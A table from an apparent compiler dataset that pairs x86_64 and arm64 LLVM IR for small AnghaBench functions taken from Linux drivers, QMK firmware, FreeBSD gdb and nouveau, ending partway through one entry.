IR_x86 string | IR_arm string | filename string |
|---|---|---|
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/netronome/nfp/nfpcore/extr_nfp_nffw.c_nffw_res_fwinfos.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/netronome/nfp/nfpcore/extr_nfp_nffw.c_nffw_res_fwinfos.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_6__ = type { %struct.TYPE_5__, %struct.TYPE_4__ }
%struct.TYPE_5__ = type { ptr }
%struct.TYPE_4__ = type { ptr }
@NFFW_FWINFO_CNT_V1 = dso_local local_unnamed_addr global i32 0, align 4
@NFFW_FWINFO_CNT_V2 = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @nffw_res_fwinfos], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @nffw_res_fwinfos(ptr noundef %0, ptr nocapture noundef writeonly %1) #0 {
%3 = tail call i32 @nffw_res_info_version_get(ptr noundef %0) #2
switch i32 %3, label %11 [
i32 0, label %4
i32 1, label %4
i32 2, label %8
]
4: ; preds = %2, %2
%5 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 1
%6 = load ptr, ptr %5, align 8, !tbaa !5
store ptr %6, ptr %1, align 8, !tbaa !13
%7 = load i32, ptr @NFFW_FWINFO_CNT_V1, align 4, !tbaa !14
br label %12
8: ; preds = %2
%9 = load ptr, ptr %0, align 8, !tbaa !16
store ptr %9, ptr %1, align 8, !tbaa !13
%10 = load i32, ptr @NFFW_FWINFO_CNT_V2, align 4, !tbaa !14
br label %12
11: ; preds = %2
store ptr null, ptr %1, align 8, !tbaa !13
br label %12
12: ; preds = %11, %8, %4
%13 = phi i32 [ 0, %11 ], [ %10, %8 ], [ %7, %4 ]
ret i32 %13
}
declare i32 @nffw_res_info_version_get(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !9, i64 8}
!6 = !{!"nfp_nffw_info_data", !7, i64 0}
!7 = !{!"TYPE_6__", !8, i64 0, !12, i64 8}
!8 = !{!"TYPE_5__", !9, i64 0}
!9 = !{!"any pointer", !10, i64 0}
!10 = !{!"omnipotent char", !11, i64 0}
!11 = !{!"Simple C/C++ TBAA"}
!12 = !{!"TYPE_4__", !9, i64 0}
!13 = !{!9, !9, i64 0}
!14 = !{!15, !15, i64 0}
!15 = !{!"int", !10, i64 0}
!16 = !{!6, !9, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/netronome/nfp/nfpcore/extr_nfp_nffw.c_nffw_res_fwinfos.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/netronome/nfp/nfpcore/extr_nfp_nffw.c_nffw_res_fwinfos.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@NFFW_FWINFO_CNT_V1 = common local_unnamed_addr global i32 0, align 4
@NFFW_FWINFO_CNT_V2 = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @nffw_res_fwinfos], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @nffw_res_fwinfos(ptr noundef %0, ptr nocapture noundef writeonly %1) #0 {
%3 = tail call i32 @nffw_res_info_version_get(ptr noundef %0) #2
switch i32 %3, label %11 [
i32 0, label %4
i32 1, label %4
i32 2, label %8
]
4: ; preds = %2, %2
%5 = getelementptr inbounds i8, ptr %0, i64 8
%6 = load ptr, ptr %5, align 8, !tbaa !6
store ptr %6, ptr %1, align 8, !tbaa !14
%7 = load i32, ptr @NFFW_FWINFO_CNT_V1, align 4, !tbaa !15
br label %12
8: ; preds = %2
%9 = load ptr, ptr %0, align 8, !tbaa !17
store ptr %9, ptr %1, align 8, !tbaa !14
%10 = load i32, ptr @NFFW_FWINFO_CNT_V2, align 4, !tbaa !15
br label %12
11: ; preds = %2
store ptr null, ptr %1, align 8, !tbaa !14
br label %12
12: ; preds = %11, %8, %4
%13 = phi i32 [ 0, %11 ], [ %10, %8 ], [ %7, %4 ]
ret i32 %13
}
declare i32 @nffw_res_info_version_get(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !10, i64 8}
!7 = !{!"nfp_nffw_info_data", !8, i64 0}
!8 = !{!"TYPE_6__", !9, i64 0, !13, i64 8}
!9 = !{!"TYPE_5__", !10, i64 0}
!10 = !{!"any pointer", !11, i64 0}
!11 = !{!"omnipotent char", !12, i64 0}
!12 = !{!"Simple C/C++ TBAA"}
!13 = !{!"TYPE_4__", !10, i64 0}
!14 = !{!10, !10, i64 0}
!15 = !{!16, !16, i64 0}
!16 = !{!"int", !11, i64 0}
!17 = !{!7, !10, i64 0}
| linux_drivers_net_ethernet_netronome_nfp_nfpcore_extr_nfp_nffw.c_nffw_res_fwinfos |
; ModuleID = 'AnghaBench/qmk_firmware/keyboards/bigseries/2key/keymaps/tester/extr_keymap.c_matrix_scan_user.c'
source_filename = "AnghaBench/qmk_firmware/keyboards/bigseries/2key/keymaps/tester/extr_keymap.c_matrix_scan_user.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable
define dso_local void @matrix_scan_user() local_unnamed_addr #0 {
ret void
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/qmk_firmware/keyboards/bigseries/2key/keymaps/tester/extr_keymap.c_matrix_scan_user.c'
source_filename = "AnghaBench/qmk_firmware/keyboards/bigseries/2key/keymaps/tester/extr_keymap.c_matrix_scan_user.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync)
define void @matrix_scan_user() local_unnamed_addr #0 {
ret void
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| qmk_firmware_keyboards_bigseries_2key_keymaps_tester_extr_keymap.c_matrix_scan_user |
; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/cli/extr_cli-decode.c_cmd_func.c'
source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/cli/extr_cli-decode.c_cmd_func.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [16 x i8] c"Invalid command\00", align 1
; Function Attrs: nounwind uwtable
define dso_local void @cmd_func(ptr noundef %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = tail call i64 @cmd_func_p(ptr noundef %0) #2
%5 = icmp eq i64 %4, 0
br i1 %5, label %9, label %6
6: ; preds = %3
%7 = load ptr, ptr %0, align 8, !tbaa !5
%8 = tail call i32 %7(ptr noundef nonnull %0, ptr noundef %1, i32 noundef %2) #2
br label %11
9: ; preds = %3
%10 = tail call i32 @error(ptr noundef nonnull @.str) #2
br label %11
11: ; preds = %9, %6
ret void
}
declare i64 @cmd_func_p(ptr noundef) local_unnamed_addr #1
declare i32 @error(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"cmd_list_element", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/cli/extr_cli-decode.c_cmd_func.c'
source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/cli/extr_cli-decode.c_cmd_func.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [16 x i8] c"Invalid command\00", align 1
; Function Attrs: nounwind ssp uwtable(sync)
define void @cmd_func(ptr noundef %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = tail call i64 @cmd_func_p(ptr noundef %0) #2
%5 = icmp eq i64 %4, 0
br i1 %5, label %9, label %6
6: ; preds = %3
%7 = load ptr, ptr %0, align 8, !tbaa !6
%8 = tail call i32 %7(ptr noundef nonnull %0, ptr noundef %1, i32 noundef %2) #2
br label %11
9: ; preds = %3
%10 = tail call i32 @error(ptr noundef nonnull @.str) #2
br label %11
11: ; preds = %9, %6
ret void
}
declare i64 @cmd_func_p(ptr noundef) local_unnamed_addr #1
declare i32 @error(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"cmd_list_element", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| freebsd_contrib_gdb_gdb_cli_extr_cli-decode.c_cmd_func |
; ModuleID = 'AnghaBench/linux/drivers/input/mouse/extr_elantech.c_elantech_ps2_command.c'
source_filename = "AnghaBench/linux/drivers/input/mouse/extr_elantech.c_elantech_ps2_command.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.psmouse = type { ptr, %struct.ps2dev }
%struct.ps2dev = type { i32 }
@ETP_PS2_COMMAND_TRIES = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [35 x i8] c"retrying ps2 command 0x%02x (%d).\0A\00", align 1
@ETP_PS2_COMMAND_DELAY = dso_local local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [28 x i8] c"ps2 command 0x%02x failed.\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @elantech_ps2_command], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @elantech_ps2_command(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = getelementptr inbounds %struct.psmouse, ptr %0, i64 0, i32 1
%5 = load i32, ptr @ETP_PS2_COMMAND_TRIES, align 4, !tbaa !5
br label %6
6: ; preds = %10, %3
%7 = phi i32 [ %5, %3 ], [ %11, %10 ]
%8 = tail call i32 @ps2_command(ptr noundef nonnull %4, ptr noundef %1, i32 noundef %2) #2
%9 = icmp eq i32 %8, 0
br i1 %9, label %18, label %10
10: ; preds = %6
%11 = add nsw i32 %7, -1
%12 = tail call i32 @elantech_debug(ptr noundef nonnull @.str, i32 noundef %2, i32 noundef %11) #2
%13 = load i32, ptr @ETP_PS2_COMMAND_DELAY, align 4, !tbaa !5
%14 = tail call i32 @msleep(i32 noundef %13) #2
%15 = icmp sgt i32 %7, 1
br i1 %15, label %6, label %16, !llvm.loop !9
16: ; preds = %10
%17 = tail call i32 @psmouse_err(ptr noundef %0, ptr noundef nonnull @.str.1, i32 noundef %2) #2
br label %18
18: ; preds = %6, %16
ret i32 %8
}
declare i32 @ps2_command(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @elantech_debug(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @msleep(i32 noundef) local_unnamed_addr #1
declare i32 @psmouse_err(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = distinct !{!9, !10}
!10 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/linux/drivers/input/mouse/extr_elantech.c_elantech_ps2_command.c'
source_filename = "AnghaBench/linux/drivers/input/mouse/extr_elantech.c_elantech_ps2_command.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@ETP_PS2_COMMAND_TRIES = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [35 x i8] c"retrying ps2 command 0x%02x (%d).\0A\00", align 1
@ETP_PS2_COMMAND_DELAY = common local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [28 x i8] c"ps2 command 0x%02x failed.\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @elantech_ps2_command], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @elantech_ps2_command(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = getelementptr inbounds i8, ptr %0, i64 8
%5 = load i32, ptr @ETP_PS2_COMMAND_TRIES, align 4, !tbaa !6
br label %6
6: ; preds = %10, %3
%7 = phi i32 [ %5, %3 ], [ %11, %10 ]
%8 = tail call i32 @ps2_command(ptr noundef nonnull %4, ptr noundef %1, i32 noundef %2) #2
%9 = icmp eq i32 %8, 0
br i1 %9, label %18, label %10
10: ; preds = %6
%11 = add nsw i32 %7, -1
%12 = tail call i32 @elantech_debug(ptr noundef nonnull @.str, i32 noundef %2, i32 noundef %11) #2
%13 = load i32, ptr @ETP_PS2_COMMAND_DELAY, align 4, !tbaa !6
%14 = tail call i32 @msleep(i32 noundef %13) #2
%15 = icmp sgt i32 %7, 1
br i1 %15, label %6, label %16, !llvm.loop !10
16: ; preds = %10
%17 = tail call i32 @psmouse_err(ptr noundef %0, ptr noundef nonnull @.str.1, i32 noundef %2) #2
br label %18
18: ; preds = %6, %16
ret i32 %8
}
declare i32 @ps2_command(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @elantech_debug(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @msleep(i32 noundef) local_unnamed_addr #1
declare i32 @psmouse_err(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = distinct !{!10, !11}
!11 = !{!"llvm.loop.mustprogress"}
| linux_drivers_input_mouse_extr_elantech.c_elantech_ps2_command |
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/intel/ice/extr_ice_virtchnl_pf.c_ice_vc_del_mac_addr_msg.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/intel/ice/extr_ice_virtchnl_pf.c_ice_vc_del_mac_addr_msg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @ice_vc_del_mac_addr_msg], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @ice_vc_del_mac_addr_msg(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @ice_vc_handle_mac_addr_msg(ptr noundef %0, ptr noundef %1, i32 noundef 0) #2
ret i32 %3
}
declare i32 @ice_vc_handle_mac_addr_msg(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/intel/ice/extr_ice_virtchnl_pf.c_ice_vc_del_mac_addr_msg.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/intel/ice/extr_ice_virtchnl_pf.c_ice_vc_del_mac_addr_msg.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @ice_vc_del_mac_addr_msg], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @ice_vc_del_mac_addr_msg(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @ice_vc_handle_mac_addr_msg(ptr noundef %0, ptr noundef %1, i32 noundef 0) #2
ret i32 %3
}
declare i32 @ice_vc_handle_mac_addr_msg(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| linux_drivers_net_ethernet_intel_ice_extr_ice_virtchnl_pf.c_ice_vc_del_mac_addr_msg |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/gpu/drm/nouveau/core/subdev/bios/extr_init.c_init_zm_reg.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/gpu/drm/nouveau/core/subdev/bios/extr_init.c_init_zm_reg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.nvbios_init = type { i64, ptr }
@.str = private unnamed_addr constant [27 x i8] c"ZM_REG\09R[0x%06x] = 0x%08x\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @init_zm_reg], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @init_zm_reg(ptr noundef %0) #0 {
%2 = getelementptr inbounds %struct.nvbios_init, ptr %0, i64 0, i32 1
%3 = load ptr, ptr %2, align 8, !tbaa !5
%4 = load i64, ptr %0, align 8, !tbaa !11
%5 = add nsw i64 %4, 1
%6 = tail call i32 @nv_ro32(ptr noundef %3, i64 noundef %5) #2
%7 = load i64, ptr %0, align 8, !tbaa !11
%8 = add nsw i64 %7, 5
%9 = tail call i32 @nv_ro32(ptr noundef %3, i64 noundef %8) #2
%10 = tail call i32 @trace(ptr noundef nonnull @.str, i32 noundef %6, i32 noundef %9) #2
%11 = load i64, ptr %0, align 8, !tbaa !11
%12 = add nsw i64 %11, 9
store i64 %12, ptr %0, align 8, !tbaa !11
%13 = icmp eq i32 %6, 512
%14 = zext i1 %13 to i32
%15 = or i32 %9, %14
%16 = tail call i32 @init_wr32(ptr noundef nonnull %0, i32 noundef %6, i32 noundef %15) #2
ret void
}
declare i32 @nv_ro32(ptr noundef, i64 noundef) local_unnamed_addr #1
